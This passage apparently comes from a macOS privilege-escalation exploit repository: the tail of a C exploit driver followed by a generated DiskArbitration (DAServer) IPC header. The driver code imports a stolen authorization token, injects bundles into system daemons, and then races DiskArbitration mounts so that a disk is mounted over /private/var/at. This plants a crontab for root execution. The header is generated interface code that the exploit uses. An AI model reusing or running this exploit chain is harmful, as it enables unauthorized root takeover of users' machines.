439 | readall(f1, (char*)&token_pid, sizeof token_pid, true);
440 | readall(f2, token.bytes, kAuthorizationExternalFormLength, true);
441 |
442 | log("Token PID = %d\n", token_pid);
443 |
444 | // Import token
445 | assert(!AuthorizationCreateFromExternalForm(&token, &auth));
446 | log("Token imported successfully\n");
447 | write_marker("token_imported");
448 |
449 | log("Waiting for ssd1 to die\n");
450 | wait_for_file("ssd1_done");
451 | sleep(1);
452 | log("Yes, it's dead.\n");
453 |
454 | create_bundle(ssd2_dylib, ssd2_dylib_len);
455 | log("Created bundle (2)\n");
456 | pwn_ssd(0);
457 | log("Pwned ssd (2)\n");
458 |
459 | // TODO remove debugging
460 | while(!pid_for_proc("com.apple.s")) msleep(100);
461 | log("PID for ssd2 = %d\n", pid_for_proc("com.apple.s"));
462 |
463 |
464 | log("Waiting for ssd2 to wrap around PIDs\n");
465 | wait_for_file("hole_done");
466 | log("Respawning cookied\n");
467 | if (respawn_cookied_into(token_pid))
468 | break;
469 | log("Didn't work. Trying again\n");
470 | write_file("ssd2_next_step", (const unsigned char*)"exit", 5);
471 | wait_for_file("ssd2_next_step_ack");
472 | }
473 | log("Got it.\n");
474 |
475 | log("Connecting to DA\n");
476 | da_connect();
477 | log("Authenticating with DA\n");
478 | da_auth();
479 |
480 | setup_mount_race();
481 |
482 | // TODO maybe sleep less than one second below?
483 | //
484 | // umount first in case this is not the first iteration of the exploit
485 | if (get_mount_point(DISK)) {
486 | log("The disk is already mounted, trying umount\n");
487 | da_umount(DISK);
488 | msleep(1000);
489 | while (get_mount_point(DISK)) {
490 | log(" Retrying umount\n");
491 | da_umount(DISK);
492 | msleep(1000);
493 | }
494 | }
495 |
496 | // TODO make sure ssd2 is killed regardless of whether the exploit is
497 | // successful or not. Can we somehow crash it easily?
498 |
499 | log("Performing initial mount\n");
500 | char mnt_point[1024];
501 | strcpy(mnt_point, workdir);
502 | strcat(mnt_point, "/mnt");
503 |
504 | da_mount(DISK, mnt_point);
505 | msleep(1000);
506 | while (!get_mount_point(DISK)) {
507 | log(" Retrying mount\n");
508 | da_mount(DISK, mnt_point);
509 | msleep(1000);
510 | }
511 |
512 | log("Writing crontab.\n");
513 | write_file("mnt/root", cronrule, strlen(cronrule));
514 | log("Unmounting\n");
515 | log("%s\n", get_mount_point(DISK));
516 |
517 | da_umount(DISK);
518 | msleep(1000);
519 | while (get_mount_point(DISK)) {
520 | log(" Retrying umount\n");
521 | da_umount(DISK);
522 | msleep(1000);
523 | }
524 |
525 | write_file("ssd2_next_step", (const unsigned char*)"race", 5);
526 | wait_for_file("ssd2_next_step_ack");
527 | log("Wrote marker to start race\n");
528 |
529 | int i = 0;
530 | log("Starting race\n");
531 |
532 | strcpy(mnt_point, workdir);
533 | strcat(mnt_point, "/pwn/tabs");
534 | for (;;) {
535 | log(" Round %d\n", i++);
536 |
537 | da_mount(DISK, mnt_point);
538 | msleep(1000);
539 | const char* mnt;
540 | while (!(mnt = get_mount_point(DISK))) {
541 | log(" Retrying mount\n");
542 | da_mount(DISK, mnt_point);
543 | msleep(1000);
544 | }
545 |
546 | log(" Mount point: %s\n", mnt);
547 | if (!strncmp(mnt, "/private/var/at", strlen("/private/var/at")))
548 | break;
549 |
550 | log(" Unmounting...\n");
551 | da_umount(DISK);
552 | msleep(1000);
553 | while (get_mount_point(DISK)) {
554 | log(" Retrying umount\n");
555 | da_umount(DISK);
556 | msleep(1000);
557 | }
558 | }
559 | log("Success! %s is mounted at %s.\n", DISK, get_mount_point(DISK));
560 | log("now wait a minute... I'm out. You can press Ctrl+C\n");
561 | write_marker("stop_mount_race");
562 | sleep(10000);
563 |
564 | // TODO WebContent will crash hereafter. Why?
565 | }
566 |
--------------------------------------------------------------------------------
/DAServer.h:
--------------------------------------------------------------------------------
1 | #ifndef _DAServer_user_
2 | #define _DAServer_user_
3 |
4 | /* Module DAServer */
5 |
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | /* BEGIN VOUCHER CODE */
17 |
18 | #ifndef KERNEL
19 | #if defined(__has_include)
20 | #if __has_include()
21 | #ifndef USING_VOUCHERS
22 | #define USING_VOUCHERS
23 | #endif
24 | #ifndef __VOUCHER_FORWARD_TYPE_DECLS__
25 | #define __VOUCHER_FORWARD_TYPE_DECLS__
26 | #ifdef __cplusplus
27 | extern "C" {
28 | #endif
29 | extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import));
30 | #ifdef __cplusplus
31 | }
32 | #endif
33 | #endif // __VOUCHER_FORWARD_TYPE_DECLS__
34 | #endif // __has_include()
35 | #endif // __has_include
36 | #endif // !KERNEL
37 |
38 | /* END VOUCHER CODE */
39 |
40 |
41 | /* BEGIN MIG_STRNCPY_ZEROFILL CODE */
42 |
43 | #if defined(__has_include)
44 | #if __has_include()
45 | #ifndef USING_MIG_STRNCPY_ZEROFILL
46 | #define USING_MIG_STRNCPY_ZEROFILL
47 | #endif
48 | #ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__
49 | #define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__
50 | #ifdef __cplusplus
51 | extern "C" {
52 | #endif
53 | extern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import));
54 | #ifdef __cplusplus
55 | }
56 | #endif
57 | #endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */
58 | #endif /* __has_include() */
59 | #endif /* __has_include */
60 |
61 | /* END MIG_STRNCPY_ZEROFILL CODE */
62 |
63 |
64 | #ifdef AUTOTEST
65 | #ifndef FUNCTION_PTR_T
66 | #define FUNCTION_PTR_T
67 | typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t);
68 | typedef struct {
69 | char *name;
70 | function_ptr_t function;
71 | } function_table_entry;
72 | typedef function_table_entry *function_table_t;
73 | #endif /* FUNCTION_PTR_T */
74 | #endif /* AUTOTEST */
75 |
76 | #ifndef DAServer_MSG_COUNT
77 | #define DAServer_MSG_COUNT 18
78 | #endif /* DAServer_MSG_COUNT */
79 |
80 | #include
81 | #include
82 | #include
83 | #include
84 | #include
85 | #include
86 | #include
87 | #include "DAServer.defs.h"
88 |
89 | #ifdef __BeforeMigUserHeader
90 | __BeforeMigUserHeader
91 | #endif /* __BeforeMigUserHeader */
92 |
93 | #include
94 | __BEGIN_DECLS
95 |
96 |
97 | /* Routine _DAServerDiskCopyDescription */
98 | #ifdef mig_external
99 | mig_external
100 | #else
101 | extern
102 | #endif /* mig_external */
103 | kern_return_t _DAServerDiskCopyDescription
104 | (
105 | mach_port_t _session,
106 | caddr_t _disk,
107 | vm_address_t *_description,
108 | mach_msg_type_number_t *_descriptionCnt
109 | );
110 |
111 | /* Routine _DAServerDiskGetOptions */
112 | #ifdef mig_external
113 | mig_external
114 | #else
115 | extern
116 | #endif /* mig_external */
117 | kern_return_t _DAServerDiskGetOptions
118 | (
119 | mach_port_t _session,
120 | caddr_t _disk,
121 | int32_t *_options
122 | );
123 |
124 | /* Routine _DAServerDiskGetUserUID */
125 | #ifdef mig_external
126 | mig_external
127 | #else
128 | extern
129 | #endif /* mig_external */
130 | kern_return_t _DAServerDiskGetUserUID
131 | (
132 | mach_port_t _session,
133 | caddr_t _disk,
134 | uid_t *_userUID
135 | );
136 |
137 | /* Routine _DAServerDiskIsClaimed */
138 | #ifdef mig_external
139 | mig_external
140 | #else
141 | extern
142 | #endif /* mig_external */
143 | kern_return_t _DAServerDiskIsClaimed
144 | (
145 | mach_port_t _session,
146 | caddr_t _disk,
147 | boolean_t *_claimed
148 | );
149 |
150 | /* Routine _DAServerDiskSetAdoption */
151 | #ifdef mig_external
152 | mig_external
153 | #else
154 | extern
155 | #endif /* mig_external */
156 | kern_return_t _DAServerDiskSetAdoption
157 | (
158 | mach_port_t _session,
159 | caddr_t _disk,
160 | boolean_t _adoption
161 | );
162 |
163 | /* Routine _DAServerDiskSetEncoding */
164 | #ifdef mig_external
165 | mig_external
166 | #else
167 | extern
168 | #endif /* mig_external */
169 | kern_return_t _DAServerDiskSetEncoding
170 | (
171 | mach_port_t _session,
172 | caddr_t _disk,
173 | int32_t _encoding
174 | );
175 |
176 | /* Routine _DAServerDiskSetOptions */
177 | #ifdef mig_external
178 | mig_external
179 | #else
180 | extern
181 | #endif /* mig_external */
182 | kern_return_t _DAServerDiskSetOptions
183 | (
184 | mach_port_t _session,
185 | caddr_t _disk,
186 | int32_t _options,
187 | int32_t _value
188 | );
189 |
190 | /* SimpleRoutine _DAServerDiskUnclaim */
191 | #ifdef mig_external
192 | mig_external
193 | #else
194 | extern
195 | #endif /* mig_external */
196 | kern_return_t _DAServerDiskUnclaim
197 | (
198 | mach_port_t _session,
199 | caddr_t _disk
200 | );
201 |
202 | /* Routine _DAServerSessionCopyCallbackQueue */
203 | #ifdef mig_external
204 | mig_external
205 | #else
206 | extern
207 | #endif /* mig_external */
208 | kern_return_t _DAServerSessionCopyCallbackQueue
209 | (
210 | mach_port_t _session,
211 | vm_address_t *_queue,
212 | mach_msg_type_number_t *_queueCnt
213 | );
214 |
215 | /* Routine _DAServerSessionCreate */
216 | #ifdef mig_external
217 | mig_external
218 | #else
219 | extern
220 | #endif /* mig_external */
221 | kern_return_t _DAServerSessionCreate
222 | (
223 | mach_port_t _session,
224 | caddr_t _name,
225 | pid_t _pid,
226 | mach_port_t *_server
227 | );
228 |
229 | /* Routine _DAServerSessionQueueRequest */
230 | #ifdef mig_external
231 | mig_external
232 | #else
233 | extern
234 | #endif /* mig_external */
235 | kern_return_t _DAServerSessionQueueRequest
236 | (
237 | mach_port_t _session,
238 | int32_t _kind,
239 | caddr_t _argument0,
240 | int32_t _argument1,
241 | vm_address_t _argument2,
242 | mach_msg_type_number_t _argument2Cnt,
243 | vm_address_t _argument3,
244 | mach_msg_type_number_t _argument3Cnt,
245 | mach_vm_offset_t _address,
246 | mach_vm_offset_t _context
247 | );
248 |
249 | /* SimpleRoutine _DAServerSessionQueueResponse */
250 | #ifdef mig_external
251 | mig_external
252 | #else
253 | extern
254 | #endif /* mig_external */
255 | kern_return_t _DAServerSessionQueueResponse
256 | (
257 | mach_port_t _session,
258 | mach_vm_offset_t _address,
259 | mach_vm_offset_t _context,
260 | int32_t _kind,
261 | caddr_t _disk,
262 | vm_address_t _response,
263 | mach_msg_type_number_t _responseCnt,
264 | int32_t _responseID
265 | );
266 |
267 | /* Routine _DAServerSessionRegisterCallback */
268 | #ifdef mig_external
269 | mig_external
270 | #else
271 | extern
272 | #endif /* mig_external */
273 | kern_return_t _DAServerSessionRegisterCallback
274 | (
275 | mach_port_t _session,
276 | mach_vm_offset_t _address,
277 | mach_vm_offset_t _context,
278 | int32_t _kind,
279 | int32_t _order,
280 | vm_address_t _match,
281 | mach_msg_type_number_t _matchCnt,
282 | vm_address_t _watch,
283 | mach_msg_type_number_t _watchCnt
284 | );
285 |
286 | /* SimpleRoutine _DAServerSessionRelease */
287 | #ifdef mig_external
288 | mig_external
289 | #else
290 | extern
291 | #endif /* mig_external */
292 | kern_return_t _DAServerSessionRelease
293 | (
294 | mach_port_t _session
295 | );
296 |
297 | /* SimpleRoutine _DAServerSessionSetAuthorization */
298 | #ifdef mig_external
299 | mig_external
300 | #else
301 | extern
302 | #endif /* mig_external */
303 | kern_return_t _DAServerSessionSetAuthorization
304 | (
305 | mach_port_t _session,
306 | AuthorizationExternalForm _authorization
307 | );
308 |
309 | /* SimpleRoutine _DAServerSessionSetClientPort */
310 | #ifdef mig_external
311 | mig_external
312 | #else
313 | extern
314 | #endif /* mig_external */
315 | kern_return_t _DAServerSessionSetClientPort
316 | (
317 | mach_port_t _session,
318 | mach_port_t _client
319 | );
320 |
321 | /* SimpleRoutine _DAServerSessionUnregisterCallback */
322 | #ifdef mig_external
323 | mig_external
324 | #else
325 | extern
326 | #endif /* mig_external */
327 | kern_return_t _DAServerSessionUnregisterCallback
328 | (
329 | mach_port_t _session,
330 | mach_vm_offset_t _address,
331 | mach_vm_offset_t _context
332 | );
333 |
334 | /* Routine _DAServermkdir */
335 | #ifdef mig_external
336 | mig_external
337 | #else
338 | extern
339 | #endif /* mig_external */
340 | kern_return_t _DAServermkdir
341 | (
342 | mach_port_t _session,
343 | ___path_t _path
344 | );
345 |
346 | __END_DECLS
347 |
348 | /********************** Caution **************************/
349 | /* The following data types should be used to calculate */
350 | /* maximum message sizes only. The actual message may be */
351 | /* smaller, and the position of the arguments within the */
352 | /* message layout may vary from what is presented here. */
353 | /* For example, if any of the arguments are variable- */
354 | /* sized, and less than the maximum is sent, the data */
355 | /* will be packed tight in the actual message to reduce */
356 | /* the presence of holes. */
357 | /********************** Caution **************************/
358 |
359 | /* typedefs for all requests */
360 |
361 | #ifndef __Request__DAServer_subsystem__defined
362 | #define __Request__DAServer_subsystem__defined
363 |
364 | #ifdef __MigPackStructs
365 | #pragma pack(4)
366 | #endif
367 | typedef struct {
368 | mach_msg_header_t Head;
369 | NDR_record_t NDR;
370 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
371 | mach_msg_type_number_t _diskCnt;
372 | char _disk[1024];
373 | } __Request___DAServerDiskCopyDescription_t __attribute__((unused));
374 | #ifdef __MigPackStructs
375 | #pragma pack()
376 | #endif
377 |
378 | #ifdef __MigPackStructs
379 | #pragma pack(4)
380 | #endif
381 | typedef struct {
382 | mach_msg_header_t Head;
383 | NDR_record_t NDR;
384 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
385 | mach_msg_type_number_t _diskCnt;
386 | char _disk[1024];
387 | } __Request___DAServerDiskGetOptions_t __attribute__((unused));
388 | #ifdef __MigPackStructs
389 | #pragma pack()
390 | #endif
391 |
392 | #ifdef __MigPackStructs
393 | #pragma pack(4)
394 | #endif
395 | typedef struct {
396 | mach_msg_header_t Head;
397 | NDR_record_t NDR;
398 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
399 | mach_msg_type_number_t _diskCnt;
400 | char _disk[1024];
401 | } __Request___DAServerDiskGetUserUID_t __attribute__((unused));
402 | #ifdef __MigPackStructs
403 | #pragma pack()
404 | #endif
405 |
406 | #ifdef __MigPackStructs
407 | #pragma pack(4)
408 | #endif
409 | typedef struct {
410 | mach_msg_header_t Head;
411 | NDR_record_t NDR;
412 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
413 | mach_msg_type_number_t _diskCnt;
414 | char _disk[1024];
415 | } __Request___DAServerDiskIsClaimed_t __attribute__((unused));
416 | #ifdef __MigPackStructs
417 | #pragma pack()
418 | #endif
419 |
420 | #ifdef __MigPackStructs
421 | #pragma pack(4)
422 | #endif
423 | typedef struct {
424 | mach_msg_header_t Head;
425 | NDR_record_t NDR;
426 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
427 | mach_msg_type_number_t _diskCnt;
428 | char _disk[1024];
429 | boolean_t _adoption;
430 | } __Request___DAServerDiskSetAdoption_t __attribute__((unused));
431 | #ifdef __MigPackStructs
432 | #pragma pack()
433 | #endif
434 |
435 | #ifdef __MigPackStructs
436 | #pragma pack(4)
437 | #endif
438 | typedef struct {
439 | mach_msg_header_t Head;
440 | NDR_record_t NDR;
441 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
442 | mach_msg_type_number_t _diskCnt;
443 | char _disk[1024];
444 | int32_t _encoding;
445 | } __Request___DAServerDiskSetEncoding_t __attribute__((unused));
446 | #ifdef __MigPackStructs
447 | #pragma pack()
448 | #endif
449 |
450 | #ifdef __MigPackStructs
451 | #pragma pack(4)
452 | #endif
453 | typedef struct {
454 | mach_msg_header_t Head;
455 | NDR_record_t NDR;
456 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
457 | mach_msg_type_number_t _diskCnt;
458 | char _disk[1024];
459 | int32_t _options;
460 | int32_t _value;
461 | } __Request___DAServerDiskSetOptions_t __attribute__((unused));
462 | #ifdef __MigPackStructs
463 | #pragma pack()
464 | #endif
465 |
466 | #ifdef __MigPackStructs
467 | #pragma pack(4)
468 | #endif
469 | typedef struct {
470 | mach_msg_header_t Head;
471 | NDR_record_t NDR;
472 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
473 | mach_msg_type_number_t _diskCnt;
474 | char _disk[1024];
475 | } __Request___DAServerDiskUnclaim_t __attribute__((unused));
476 | #ifdef __MigPackStructs
477 | #pragma pack()
478 | #endif
479 |
480 | #ifdef __MigPackStructs
481 | #pragma pack(4)
482 | #endif
483 | typedef struct {
484 | mach_msg_header_t Head;
485 | } __Request___DAServerSessionCopyCallbackQueue_t __attribute__((unused));
486 | #ifdef __MigPackStructs
487 | #pragma pack()
488 | #endif
489 |
490 | #ifdef __MigPackStructs
491 | #pragma pack(4)
492 | #endif
493 | typedef struct {
494 | mach_msg_header_t Head;
495 | NDR_record_t NDR;
496 | mach_msg_type_number_t _nameOffset; /* MiG doesn't use it */
497 | mach_msg_type_number_t _nameCnt;
498 | char _name[1024];
499 | pid_t _pid;
500 | } __Request___DAServerSessionCreate_t __attribute__((unused));
501 | #ifdef __MigPackStructs
502 | #pragma pack()
503 | #endif
504 |
505 | #ifdef __MigPackStructs
506 | #pragma pack(4)
507 | #endif
508 | typedef struct {
509 | mach_msg_header_t Head;
510 | /* start of the kernel processed data */
511 | mach_msg_body_t msgh_body;
512 | mach_msg_ool_descriptor_t _argument2;
513 | mach_msg_ool_descriptor_t _argument3;
514 | /* end of the kernel processed data */
515 | NDR_record_t NDR;
516 | int32_t _kind;
517 | mach_msg_type_number_t _argument0Offset; /* MiG doesn't use it */
518 | mach_msg_type_number_t _argument0Cnt;
519 | char _argument0[1024];
520 | int32_t _argument1;
521 | mach_msg_type_number_t _argument2Cnt;
522 | mach_msg_type_number_t _argument3Cnt;
523 | mach_vm_offset_t _address;
524 | mach_vm_offset_t _context;
525 | } __Request___DAServerSessionQueueRequest_t __attribute__((unused));
526 | #ifdef __MigPackStructs
527 | #pragma pack()
528 | #endif
529 |
530 | #ifdef __MigPackStructs
531 | #pragma pack(4)
532 | #endif
533 | typedef struct {
534 | mach_msg_header_t Head;
535 | /* start of the kernel processed data */
536 | mach_msg_body_t msgh_body;
537 | mach_msg_ool_descriptor_t _response;
538 | /* end of the kernel processed data */
539 | NDR_record_t NDR;
540 | mach_vm_offset_t _address;
541 | mach_vm_offset_t _context;
542 | int32_t _kind;
543 | mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
544 | mach_msg_type_number_t _diskCnt;
545 | char _disk[1024];
546 | mach_msg_type_number_t _responseCnt;
547 | int32_t _responseID;
548 | } __Request___DAServerSessionQueueResponse_t __attribute__((unused));
549 | #ifdef __MigPackStructs
550 | #pragma pack()
551 | #endif
552 |
553 | #ifdef __MigPackStructs
554 | #pragma pack(4)
555 | #endif
556 | typedef struct {
557 | mach_msg_header_t Head;
558 | /* start of the kernel processed data */
559 | mach_msg_body_t msgh_body;
560 | mach_msg_ool_descriptor_t _match;
561 | mach_msg_ool_descriptor_t _watch;
562 | /* end of the kernel processed data */
563 | NDR_record_t NDR;
564 | mach_vm_offset_t _address;
565 | mach_vm_offset_t _context;
566 | int32_t _kind;
567 | int32_t _order;
568 | mach_msg_type_number_t _matchCnt;
569 | mach_msg_type_number_t _watchCnt;
570 | } __Request___DAServerSessionRegisterCallback_t __attribute__((unused));
571 | #ifdef __MigPackStructs
572 | #pragma pack()
573 | #endif
574 |
575 | #ifdef __MigPackStructs
576 | #pragma pack(4)
577 | #endif
578 | typedef struct {
579 | mach_msg_header_t Head;
580 | } __Request___DAServerSessionRelease_t __attribute__((unused));
581 | #ifdef __MigPackStructs
582 | #pragma pack()
583 | #endif
584 |
585 | #ifdef __MigPackStructs
586 | #pragma pack(4)
587 | #endif
588 | typedef struct {
589 | mach_msg_header_t Head;
590 | NDR_record_t NDR;
591 | AuthorizationExternalForm _authorization;
592 | } __Request___DAServerSessionSetAuthorization_t __attribute__((unused));
593 | #ifdef __MigPackStructs
594 | #pragma pack()
595 | #endif
596 |
597 | #ifdef __MigPackStructs
598 | #pragma pack(4)
599 | #endif
600 | typedef struct {
601 | mach_msg_header_t Head;
602 | /* start of the kernel processed data */
603 | mach_msg_body_t msgh_body;
604 | mach_msg_port_descriptor_t _client;
605 | /* end of the kernel processed data */
606 | } __Request___DAServerSessionSetClientPort_t __attribute__((unused));
607 | #ifdef __MigPackStructs
608 | #pragma pack()
609 | #endif
610 |
611 | #ifdef __MigPackStructs
612 | #pragma pack(4)
613 | #endif
614 | typedef struct {
615 | mach_msg_header_t Head;
616 | NDR_record_t NDR;
617 | mach_vm_offset_t _address;
618 | mach_vm_offset_t _context;
619 | } __Request___DAServerSessionUnregisterCallback_t __attribute__((unused));
620 | #ifdef __MigPackStructs
621 | #pragma pack()
622 | #endif
623 |
624 | #ifdef __MigPackStructs
625 | #pragma pack(4)
626 | #endif
627 | typedef struct {
628 | mach_msg_header_t Head;
629 | NDR_record_t NDR;
630 | mach_msg_type_number_t _pathOffset; /* MiG doesn't use it */
631 | mach_msg_type_number_t _pathCnt;
632 | char _path[4096];
633 | } __Request___DAServermkdir_t __attribute__((unused));
634 | #ifdef __MigPackStructs
635 | #pragma pack()
636 | #endif
637 | #endif /* !__Request__DAServer_subsystem__defined */
638 |
639 | /* union of all requests */
640 |
641 | #ifndef __RequestUnion__DAServer_subsystem__defined
642 | #define __RequestUnion__DAServer_subsystem__defined
643 | union __RequestUnion__DAServer_subsystem {
644 | __Request___DAServerDiskCopyDescription_t Request__DAServerDiskCopyDescription;
645 | __Request___DAServerDiskGetOptions_t Request__DAServerDiskGetOptions;
646 | __Request___DAServerDiskGetUserUID_t Request__DAServerDiskGetUserUID;
647 | __Request___DAServerDiskIsClaimed_t Request__DAServerDiskIsClaimed;
648 | __Request___DAServerDiskSetAdoption_t Request__DAServerDiskSetAdoption;
649 | __Request___DAServerDiskSetEncoding_t Request__DAServerDiskSetEncoding;
650 | __Request___DAServerDiskSetOptions_t Request__DAServerDiskSetOptions;
651 | __Request___DAServerDiskUnclaim_t Request__DAServerDiskUnclaim;
652 | __Request___DAServerSessionCopyCallbackQueue_t Request__DAServerSessionCopyCallbackQueue;
653 | __Request___DAServerSessionCreate_t Request__DAServerSessionCreate;
654 | __Request___DAServerSessionQueueRequest_t Request__DAServerSessionQueueRequest;
655 | __Request___DAServerSessionQueueResponse_t Request__DAServerSessionQueueResponse;
656 | __Request___DAServerSessionRegisterCallback_t Request__DAServerSessionRegisterCallback;
657 | __Request___DAServerSessionRelease_t Request__DAServerSessionRelease;
658 | __Request___DAServerSessionSetAuthorization_t Request__DAServerSessionSetAuthorization;
659 | __Request___DAServerSessionSetClientPort_t Request__DAServerSessionSetClientPort;
660 | __Request___DAServerSessionUnregisterCallback_t Request__DAServerSessionUnregisterCallback;
661 | __Request___DAServermkdir_t Request__DAServermkdir;
662 | };
663 | #endif /* !__RequestUnion__DAServer_subsystem__defined */
664 | /* typedefs for all replies */
665 |
666 | #ifndef __Reply__DAServer_subsystem__defined
667 | #define __Reply__DAServer_subsystem__defined
668 |
669 | #ifdef __MigPackStructs
670 | #pragma pack(4)
671 | #endif
672 | typedef struct {
673 | mach_msg_header_t Head;
674 | /* start of the kernel processed data */
675 | mach_msg_body_t msgh_body;
676 | mach_msg_ool_descriptor_t _description;
677 | /* end of the kernel processed data */
678 | NDR_record_t NDR;
679 | mach_msg_type_number_t _descriptionCnt;
680 | } __Reply___DAServerDiskCopyDescription_t __attribute__((unused));
681 | #ifdef __MigPackStructs
682 | #pragma pack()
683 | #endif
684 |
685 | #ifdef __MigPackStructs
686 | #pragma pack(4)
687 | #endif
688 | typedef struct {
689 | mach_msg_header_t Head;
690 | NDR_record_t NDR;
691 | kern_return_t RetCode;
692 | int32_t _options;
693 | } __Reply___DAServerDiskGetOptions_t __attribute__((unused));
694 | #ifdef __MigPackStructs
695 | #pragma pack()
696 | #endif
697 |
698 | #ifdef __MigPackStructs
699 | #pragma pack(4)
700 | #endif
701 | typedef struct {
702 | mach_msg_header_t Head;
703 | NDR_record_t NDR;
704 | kern_return_t RetCode;
705 | uid_t _userUID;
706 | } __Reply___DAServerDiskGetUserUID_t __attribute__((unused));
707 | #ifdef __MigPackStructs
708 | #pragma pack()
709 | #endif
710 |
711 | #ifdef __MigPackStructs
712 | #pragma pack(4)
713 | #endif
714 | typedef struct {
715 | mach_msg_header_t Head;
716 | NDR_record_t NDR;
717 | kern_return_t RetCode;
718 | boolean_t _claimed;
719 | } __Reply___DAServerDiskIsClaimed_t __attribute__((unused));
720 | #ifdef __MigPackStructs
721 | #pragma pack()
722 | #endif
723 |
724 | #ifdef __MigPackStructs
725 | #pragma pack(4)
726 | #endif
727 | typedef struct {
728 | mach_msg_header_t Head;
729 | NDR_record_t NDR;
730 | kern_return_t RetCode;
731 | } __Reply___DAServerDiskSetAdoption_t __attribute__((unused));
732 | #ifdef __MigPackStructs
733 | #pragma pack()
734 | #endif
735 |
736 | #ifdef __MigPackStructs
737 | #pragma pack(4)
738 | #endif
739 | typedef struct {
740 | mach_msg_header_t Head;
741 | NDR_record_t NDR;
742 | kern_return_t RetCode;
743 | } __Reply___DAServerDiskSetEncoding_t __attribute__((unused));
744 | #ifdef __MigPackStructs
745 | #pragma pack()
746 | #endif
747 |
748 | #ifdef __MigPackStructs
749 | #pragma pack(4)
750 | #endif
751 | typedef struct {
752 | mach_msg_header_t Head;
753 | NDR_record_t NDR;
754 | kern_return_t RetCode;
755 | } __Reply___DAServerDiskSetOptions_t __attribute__((unused));
756 | #ifdef __MigPackStructs
757 | #pragma pack()
758 | #endif
759 |
760 | #ifdef __MigPackStructs
761 | #pragma pack(4)
762 | #endif
763 | typedef struct {
764 | mach_msg_header_t Head;
765 | NDR_record_t NDR;
766 | kern_return_t RetCode;
767 | } __Reply___DAServerDiskUnclaim_t __attribute__((unused));
768 | #ifdef __MigPackStructs
769 | #pragma pack()
770 | #endif
771 |
772 | #ifdef __MigPackStructs
773 | #pragma pack(4)
774 | #endif
775 | typedef struct {
776 | mach_msg_header_t Head;
777 | /* start of the kernel processed data */
778 | mach_msg_body_t msgh_body;
779 | mach_msg_ool_descriptor_t _queue;
780 | /* end of the kernel processed data */
781 | NDR_record_t NDR;
782 | mach_msg_type_number_t _queueCnt;
783 | } __Reply___DAServerSessionCopyCallbackQueue_t __attribute__((unused));
784 | #ifdef __MigPackStructs
785 | #pragma pack()
786 | #endif
787 |
788 | #ifdef __MigPackStructs
789 | #pragma pack(4)
790 | #endif
791 | typedef struct {
792 | mach_msg_header_t Head;
793 | /* start of the kernel processed data */
794 | mach_msg_body_t msgh_body;
795 | mach_msg_port_descriptor_t _server;
796 | /* end of the kernel processed data */
797 | } __Reply___DAServerSessionCreate_t __attribute__((unused));
798 | #ifdef __MigPackStructs
799 | #pragma pack()
800 | #endif
801 |
802 | #ifdef __MigPackStructs
803 | #pragma pack(4)
804 | #endif
805 | typedef struct {
806 | mach_msg_header_t Head;
807 | NDR_record_t NDR;
808 | kern_return_t RetCode;
809 | } __Reply___DAServerSessionQueueRequest_t __attribute__((unused));
810 | #ifdef __MigPackStructs
811 | #pragma pack()
812 | #endif
813 |
814 | #ifdef __MigPackStructs
815 | #pragma pack(4)
816 | #endif
817 | typedef struct {
818 | mach_msg_header_t Head;
819 | NDR_record_t NDR;
820 | kern_return_t RetCode;
821 | } __Reply___DAServerSessionQueueResponse_t __attribute__((unused));
822 | #ifdef __MigPackStructs
823 | #pragma pack()
824 | #endif
825 |
826 | #ifdef __MigPackStructs
827 | #pragma pack(4)
828 | #endif
829 | typedef struct {
830 | mach_msg_header_t Head;
831 | NDR_record_t NDR;
832 | kern_return_t RetCode;
833 | } __Reply___DAServerSessionRegisterCallback_t __attribute__((unused));
834 | #ifdef __MigPackStructs
835 | #pragma pack()
836 | #endif
837 |
838 | #ifdef __MigPackStructs
839 | #pragma pack(4)
840 | #endif
841 | typedef struct {
842 | mach_msg_header_t Head;
843 | NDR_record_t NDR;
844 | kern_return_t RetCode;
845 | } __Reply___DAServerSessionRelease_t __attribute__((unused));
846 | #ifdef __MigPackStructs
847 | #pragma pack()
848 | #endif
849 |
850 | #ifdef __MigPackStructs
851 | #pragma pack(4)
852 | #endif
853 | typedef struct {
854 | mach_msg_header_t Head;
855 | NDR_record_t NDR;
856 | kern_return_t RetCode;
857 | } __Reply___DAServerSessionSetAuthorization_t __attribute__((unused));
858 | #ifdef __MigPackStructs
859 | #pragma pack()
860 | #endif
861 |
862 | #ifdef __MigPackStructs
863 | #pragma pack(4)
864 | #endif
865 | typedef struct {
866 | mach_msg_header_t Head;
867 | NDR_record_t NDR;
868 | kern_return_t RetCode;
869 | } __Reply___DAServerSessionSetClientPort_t __attribute__((unused));
870 | #ifdef __MigPackStructs
871 | #pragma pack()
872 | #endif
873 |
874 | #ifdef __MigPackStructs
875 | #pragma pack(4)
876 | #endif
877 | typedef struct {
878 | mach_msg_header_t Head;
879 | NDR_record_t NDR;
880 | kern_return_t RetCode;
881 | } __Reply___DAServerSessionUnregisterCallback_t __attribute__((unused));
882 | #ifdef __MigPackStructs
883 | #pragma pack()
884 | #endif
885 |
886 | #ifdef __MigPackStructs
887 | #pragma pack(4)
888 | #endif
889 | typedef struct {
890 | mach_msg_header_t Head;
891 | NDR_record_t NDR;
892 | kern_return_t RetCode;
893 | } __Reply___DAServermkdir_t __attribute__((unused));
894 | #ifdef __MigPackStructs
895 | #pragma pack()
896 | #endif
897 | #endif /* !__Reply__DAServer_subsystem__defined */
898 |
899 | /* union of all replies */
900 |
901 | #ifndef __ReplyUnion__DAServer_subsystem__defined
902 | #define __ReplyUnion__DAServer_subsystem__defined
903 | union __ReplyUnion__DAServer_subsystem {
